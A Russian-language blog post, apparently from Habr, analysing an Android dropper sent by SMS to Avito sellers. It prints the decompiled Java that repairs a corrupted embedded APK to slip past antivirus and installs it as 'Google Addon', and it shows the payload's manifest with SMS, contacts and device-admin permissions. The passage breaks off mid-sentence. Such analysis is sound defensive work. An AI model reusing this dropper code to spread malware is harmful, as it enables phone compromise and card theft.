{"id":273604,"date":"2016-02-05T00:17:02","date_gmt":"2016-02-04T21:17:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=273604"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=273604","title":{"rendered":"\u0410\u043d\u0430\u043b\u0438\u0437 Android \u043c\u0430\u043b\u0432\u0430\u0440\u0438-\u043c\u0430\u0442\u0440\u0435\u0448\u043a\u0438"},"content":{"rendered":"<p>       \u041f\u043e\u0441\u043b\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f <a href=\"https:\/\/habrahabr.ru\/post\/276211\/\">\u0441\u0442\u0430\u0442\u044c\u0438<\/a> \u043f\u0440\u043e \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0441 avito, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0438\u0445 twitter-\u0447\u0438\u0442\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u0442\u043a\u043b\u0438\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0438 \u043f\u0440\u0438\u0441\u043b\u0430\u043b\u0438 SMS, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0430 avito. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/82d\/e11\/d80\/82de11d801054dfb9e831d60e6e8efa7.jpg\" height=\"100\"\/><br \/>  <a name=\"habracut\"><\/a><br \/>  \u041e\u0442\u0447\u0435\u0442<a href=\"https:\/\/www.virustotal.com\/ru\/file\/1c3598fc8cbd8b7757b731e02474c9c549f55c4b534005db03be32cc76f37f3b\/analysis\/\"> VT<\/a><\/p>\n<p>  \u041f\u043e \u0441\u0441\u044b\u043b\u043a\u0435, \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f MMS \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c apk. \u0427\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u041c\u0422\u0421 \u0438\u0437 \u043f\u0440\u0430\u0432 (permissions) \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u043a\u0430\u0440\u0442\u0435 \u043f\u0430\u043c\u044f\u0442\u0438. <br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/dc7\/22c\/ce1\/dc722cce14c34157a7e39eccffc6a05c.jpg\" height=\"400\"\/> <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/311\/208\/280\/31120828050f40cfa6657e60b55c7696.jpg\" height=\"400\"\/><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/a0f\/784\/218\/a0f78421832747a6af477577cfe1b1eb.jpg\" height=\"400\"\/><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/fd5\/1f0\/766\/fd51f076641642439880572e90434cb9.jpg\" height=\"400\"\/><\/p>\n<p>  \u0412\u0435\u0441 90\u043a\u0431, \u0447\u0442\u043e \u0443\u0436\u0435 \u0432\u043f\u043e\u043b\u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430. \u0427\u0435\u043c \u043c\u0435\u043d\u044c\u0448\u0435 \u0440\u0430\u0437\u043c\u0435\u0440 \u0442\u0435\u043c \u043b\u0443\u0447\u0448\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0434\u0430\u0436\u0435 \u043f\u0430\u0440\u0443 \u043c\u0435\u0433\u0430\u0431\u0430\u0439\u0442.<\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u0434 \u043d\u0435 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u044d\u0442\u043e \u043b\u043e\u0430\u0434\u0435\u0440 (\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0435 \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435). \u041d\u043e, \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439. <br \/>  \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043b\u043e\u0430\u0434\u0435\u0440 \u0441\u0442\u0443\u0447\u0438\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u0447\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c. \u0422\u0430\u043a\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u043a\u0438 \u043a\u0430\u043a\u0438\u0445 \u043b\u0438\u0431\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041d\u043e \u0434\u043b\u044f \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u0447\u0443\u0436\u043e\u0439 \u043b\u043e\u0430\u0434\u0435\u0440 \u044d\u0442\u043e \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043b\u0443\u0447\u0448\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0436\u0435\u0440\u0442\u0432\u044b \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d \u0438 \u043b\u043e\u0432\u0438\u0442\u044c \u0442\u0430\u043c \u043d\u0435\u0447\u0435\u0433\u043e<\/p>\n<p>  \u0422\u0443\u0442-\u0436\u0435, \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u043c\u0430\u0442\u0440\u0435\u0448\u043a\u0443 \u2014 \u0432\u043d\u0443\u0442\u0440\u0438 apk, \u0432 \u043f\u0430\u043f\u043a\u0435 assets \u043b\u0435\u0436\u0438\u0442 \u0444\u0430\u0439\u043b 1.apk. \u0420\u0430\u0437\u043c\u0435\u0440 60\u043a\u0431.<br \/>   \u041e\u0442\u0447\u0435\u0442 <a href=\"https:\/\/www.virustotal.com\/ru\/file\/e892fd25b12ad431b45df576306bfbf1255f00ad8e18a8f87ec5e3be108c0ffd\/analysis\/\">VT<\/a><br \/>  \u0414\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0440\u0430\u0437\u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c. \u0424\u0430\u0439\u043b \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d. <br \/>  \u0420\u0430\u0437\u0431\u0438\u0440\u0430\u044e\u0441\u044c \u0441 \u043a\u043e\u0434\u043e\u043c \u043c\u0430\u0442\u0440\u0435\u0448\u043a\u0438. <br \/>  \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u044f\u043a\u043e\u0431\u044b MMS \u0446\u0435\u043d\u0442\u0440 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 apk \u043f\u0430\u043f\u043a\u0438 assets \u043d\u0430 \u043a\u0430\u0440\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u043f\u0430\u0440\u0443 \u0431\u0430\u0439\u0442 \u0438 \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043d\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u00ab\u0414\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 Google\u00bb. <\/p>\n<pre><code class=\"java\">  static void runs(Context cnt, String name) {         File sdCard = Environment.getExternalStorageDirectory();         AssetManager assetManager = cnt.getAssets();         try {             StringBuilder buf = new StringBuilder();             InputStream in = assetManager.open(name);             Log.e(&quot;path&quot;, sdCard.getAbsoluteFile() + &quot;\/&quot; + name);             OutputStream out = new FileOutputStream(sdCard.getAbsoluteFile() + &quot;\/&quot; + name);             try {                 byte[] buffer = new byte[1024];                 while (true) {                     int read = in.read(buffer);                     if (read == -1) {                         break;                     }                     out.write(buffer, 0, read);                 }                 in.close();                 out.flush();                 out.close();                 OutputStream out2 = new FileOutputStream(sdCard.getAbsoluteFile() + &quot;\/t&quot; + name);                 InputStream replacingInputStream = new ReplacingInputStream(new ByteArrayInputStream(readfile(sdCard.getAbsoluteFile() + &quot;\/&quot; + name)), &quot;[PK]&quot;.getBytes(&quot;UTF-8&quot;), &quot;PK&quot;.getBytes(&quot;UTF-8&quot;));                 ByteArrayOutputStream bos = new ByteArrayOutputStream();                 while (true) {                     int b = replacingInputStream.read();                     if (-1 != b) {                         bos.write(b);                         out2.write(b);                     } else {                         out2.flush();                         out2.close();                         Intent intent = new Intent(&quot;android.intent.action.VIEW&quot;);                         intent.setDataAndType(Uri.fromFile(new File(sdCard.getAbsoluteFile() + &quot;\/t&quot; + name)), &quot;application\/vnd.android.package-archive&quot;);                         intent.setFlags(268435456);                         cnt.startActivity(intent);                         new File(sdCard.getAbsoluteFile() + &quot;\/&quot; + name).delete();                         return;                     }                 }             } catch (Exception e) {                 OutputStream outputStream = out;             }         } catch (Exception e2) {         }     } <\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e MMS \u0446\u0435\u043d\u0442\u0440 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0410 \u0432\u043e\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0438\u0434\u0438\u043c\u044b\u043c. <\/p>\n<p>  \u0411\u0443\u0434\u044c \u0443 \u044d\u0442\u043e\u0433\u043e MMS \u0446\u0435\u043d\u0442\u0440\u0430 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0448\u0438\u0431\u043a\u0430, \u043e \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u043d\u043e\u0439 MMS, \u0438\u0441\u0442\u0435\u043a\u0448\u0435\u043c \u0441\u0440\u043e\u043a\u0435 \u0433\u043e\u0434\u043d\u043e\u0441\u0442\u0438, \u0438 \u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u00ab\u0414\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f Google\u00bb \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0435 \u0442\u0430\u043a \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e. <\/p>\n<p>  \u0421\u043c\u044b\u0441\u043b \u043b\u043e\u0430\u0434\u0435\u0440\u043e\u0432 \u0432 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 apk \u0441 0 \u0434\u0435\u0442\u0435\u043a\u0442\u0430\u043c\u0438 \u043e\u0442 \u0410\u0412 \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043f\u0440\u0430\u0432. \u0410 \u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u2014 \u043d\u0435 \u043d\u0430\u0434\u043e \u0440\u0435\u0444\u0430\u043a\u0442\u043e\u0440\u0438\u0442\u044c \u043a\u043e\u0434. \u0422\u043e\u043b\u044c\u043a\u043e \u0432\u043e\u0442 \u043f\u043e\u0441\u043b\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0435\u0430\u043a\u0446\u0438\u044e \u0410\u0412 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u043b. <br \/>  \u041e\u0442\u0447\u0435\u0442 <a href=\"https:\/\/www.virustotal.com\/ru\/file\/7d14ca963a84eb104b2e3b07ad14c73aff4576111c565b8c97892f05e56e419a\/analysis\/\">VT<\/a> \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0447\u0438\u043d\u043a\u0438<br \/>  \u041e\u0442\u0447\u0435\u0442 VT  \u043c\u0430\u0442\u0440\u0435\u0448\u043a\u0430 \u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u043f\u043e\u0447\u0438\u043d\u0435\u043d\u044b\u043c apk<br \/>  \u041e\u0442\u0447\u0435\u0442 <a href=\"https:\/\/www.virustotal.com\/ru\/file\/ad8d9b74b4fae8f54c40c2c8237f3289c93bbf5bd5cdbaf5cb0a89da2cc81754\/analysis\/1454619907\/\">VT<\/a> \u0442\u043e\u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 apk \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d \u0432 jpg<br \/>  \u00ab\u0414\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 Google\u00bb \u0438\u043c\u0435\u0435\u0442 \u043d\u0430\u043c\u0435\u043a \u043d\u0430 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044e. \u041e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0435\u0439 \u044d\u0442\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u043e\u0436\u043d\u043e, \u0442\u0443\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0430\u0432\u0441\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u044b \u043a\u043b\u0430\u0441\u0441\u044b (\u0438\u043c\u0435\u043d\u0430 \u0432 1 \u0431\u0443\u043a\u0432\u0443), \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043d\u0435 \u0442\u0440\u043e\u043d\u0443\u0442\u043e. <\/p>\n<p>  \u0421\u043c\u043e\u0442\u0440\u0438\u043c AndroidManifest.xml<\/p>\n<p>  \u0414\u043b\u0438\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u0430\u0432<\/p>\n<pre><code class=\"java\">  &lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECORD_AUDIO&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.SEND_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.SYSTEM_ALERT_WINDOW&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.KILL_BACKGROUND_PROCESSES&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_CONTACTS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.CAMERA&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.ACCESS_FINE_LOCATION&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.ACCESS_COARSE_LOCATION&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.WAKE_LOCK&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.WRITE_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.RECEIVE_SMS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.GET_TASKS&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.CALL_PHONE&quot; \/&gt;     &lt;uses-permission android:name=&quot;android.permission.READ_CALL_LOG&quot; \/&gt; <\/code><\/pre>\n<p>  \u0414\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435 \u0440\u0435\u0441\u0438\u0432\u0435\u0440\u044b \u0438 \u0444\u0435\u0439\u043a \u043d\u0430 Google Play, \u0434\u0438\u0437\u0430\u0439\u043d \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u00abmaterial design\u00bb, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 android, \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a\u0430\u044f-\u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u044c \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0427\u0435\u0433\u043e-\u0431\u044b \u043d\u0435 \u0432\u0432\u0435\u043b\u0438, \u0432\u0441\u0435 \u0438\u0434\u0435\u0442 \u0432\u0441\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440. <\/p>\n<pre><code class=\"java\">      &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.AlarmReceiverKnock&quot; \/&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.AlarmReceiverAdm&quot; \/&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.AlarmReceiverSmsMan&quot; \/&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.IntentReceiver&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.intent.action.PACKAGE_ADDED&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.PACKAGE_REMOVED&quot; \/&gt;                 &lt;action android:name=&quot;android.net.conn.CONNECTIVITY_CHANGE&quot; \/&gt;                 &lt;data android:scheme=&quot;package&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.CAdm&quot; android:permission=&quot;android.permission.BIND_DEVICE_ADMIN&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.app.action.DEVICE_ADMIN_ENABLED&quot; \/&gt;                 &lt;action android:name=&quot;android.app.action.DEVICE_ADMIN_DISABLED&quot; \/&gt;             &lt;\/intent-filter&gt;             &lt;meta-data android:name=&quot;android.app.device_admin&quot; android:resource=&quot;@xml\/da&quot; \/&gt;         &lt;\/receiver&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.IMMon&quot;&gt;             &lt;intent-filter android:priority=&quot;100&quot;&gt;                 &lt;action android:name=&quot;android.provider.Telephony.SMS_RECEIVED&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.BootReciv&quot; android:enabled=&quot;true&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.QUICKBOOT_POWERON&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;service android:name=&quot;zzzzzz.xxxxxx.cccccc.Knock&quot; \/&gt;         &lt;service android:name=&quot;zzzzzz.xxxxxx.cccccc.SrvAdm&quot; \/&gt;         &lt;service android:name=&quot;zzzzzz.xxxxxx.cccccc.IMService&quot; \/&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.SmsReceiver&quot; android:permission=&quot;android.permission.BROADCAST_SMS&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.provider.Telephony.SMS_DELIVER&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;receiver android:name=&quot;zzzzzz.xxxxxx.cccccc.MmsReceiver&quot; android:permission=&quot;android.permission.BROADCAST_WAP_PUSH&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.provider.Telephony.WAP_PUSH_DELIVER&quot; \/&gt;                 &lt;data android:mimeType=&quot;application\/vnd.wap.mms-message&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/receiver&gt;         &lt;activity android:name=&quot;zzzzzz.xxxxxx.cccccc.ComposeSmsActivity&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.intent.action.SEND&quot; \/&gt;                 &lt;action android:name=&quot;android.intent.action.SENDTO&quot; \/&gt;                 &lt;category android:name=&quot;android.intent.category.DEFAULT&quot; \/&gt;                 &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot; \/&gt;                 &lt;data android:scheme=&quot;sms&quot; \/&gt;                 &lt;data android:scheme=&quot;smsto&quot; \/&gt;                 &lt;data android:scheme=&quot;mms&quot; \/&gt;                 &lt;data android:scheme=&quot;mmsto&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/activity&gt;         &lt;service android:name=&quot;zzzzzz.xxxxxx.cccccc.HeadlessSmsSendService&quot; android:permission=&quot;android.permission.SEND_RESPOND_VIA_MESSAGE&quot; android:exported=&quot;true&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.intent.action.RESPOND_VIA_MESSAGE&quot; \/&gt;                 &lt;category android:name=&quot;android.intent.category.DEFAULT&quot; \/&gt;                 &lt;data android:scheme=&quot;sms&quot; \/&gt;                 &lt;data android:scheme=&quot;smsto&quot; \/&gt;                 &lt;data android:scheme=&quot;mms&quot; \/&gt;                 &lt;data android:scheme=&quot;mmsto&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/service&gt;         &lt;activity android:label=&quot;@string\/title_activity_activity_blank&quot; android:name=&quot;zzzzzz.xxxxxx.cccccc.ActivityStart&quot;&gt;             &lt;intent-filter&gt;                 &lt;action android:name=&quot;android.intent.action.MAIN&quot; \/&gt;                 &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; \/&gt;             &lt;\/intent-filter&gt;         &lt;\/activity&gt;         &lt;activity android:label=&quot;@string\/sda&quot; android:name=&quot;zzzzzz.xxxxxx.cccccc.MAC&quot; \/&gt;         &lt;activity android:label=&quot;@string\/cc&quot; android:name=&quot;zzzzzz.xxxxxx.cccccc.ActivityGetCC&quot; \/&gt;     &lt;\/application&gt; <\/code><\/pre>\n<p>  \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0445\u043e\u0447\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0432\u043e\u0442 \u0441 \u0442\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438:<\/p>\n<pre><code class=\"java\">  &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; &lt;device-admin&gt;     &lt;uses-policies&gt;         &lt;limit-password \/&gt;         &lt;watch-login \/&gt;         &lt;reset-password \/&gt;         &lt;force-lock \/&gt;         &lt;wipe-data \/&gt;         &lt;expire-password \/&gt;         &lt;encrypted-storage \/&gt;         &lt;disable-camera \/&gt;     &lt;\/uses-policies&gt; &lt;\/device-admin&gt; <\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043a\u043e\u0434\u0430, \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0438\u0447\u0438\u043a \u0432\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e \u0437\u0430\u043f\u0430\u0441 \u0438\u043b\u0438 \u0431\u0435\u0437\u0434\u0443\u043c\u043d\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<br \/>  . \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u00abdevice-admin\u00bb \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0432 AndroidManifest.xml. \u0418 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u0434\u0443, \u0432\u0438\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0440\u0435\u0432\u0435\u0440\u0441\u0435\u0440\u0430, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0434\u0435\u0431\u0430\u0433 \u0432\u044b\u0432\u043e\u0434 